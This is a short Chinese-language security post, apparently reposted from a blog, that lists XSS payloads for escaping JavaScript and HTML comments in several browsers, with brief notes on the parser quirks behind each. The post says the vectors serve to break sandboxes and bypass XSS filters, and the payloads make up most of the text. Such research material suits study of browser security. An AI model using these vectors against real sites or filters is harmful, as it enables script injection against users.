Breaking javascript/html comments

转自：http://0xsec.org/?p=540

1.Javascript

IE:

/*@cc_on!alert(1)//*/

利用IE的条件编译机制突破, about @cc_on statment.

Chrome:

/*猪/alert(3)//*/

正如你所看到的,这是个由v8引擎解析注释时候做了个优化导致的BUG,15版中已经修复

Firefox:

<>>//< !/>,alert(1)

E4X特性...

*:

/ //alert(1)

解析顺序问题./regex//alert(1),正则语法优先解析

//[u+2028]alert(1)

//[u+2029]alert(1)

这个是.mario补充的,U+2028 and U+2029 will create a linebreak and help you jump out of JS line-comments

2.HTML

<img/<!--/src=x:x onerror=alert(2)//-->

元素内不可嵌套元素.

<!--[if<img src=x:x onerror=alert(5)//]-->

这是个ie解析条件注释的bug,在ie10中条件注释已被遗弃.

<!--    !><img src="x:x" onerror=alert(1)/ />-->

Chrome,Firefox支持.

<!--  ><img src="x:x" onerror=alert(1)/ />-->

IE,Opera支持.

What's the use?
Javascript的向量一般用于打破沙箱,如Facebook对第三方应用采用的沙箱,HTML的向量用于Bypass各种xss filter.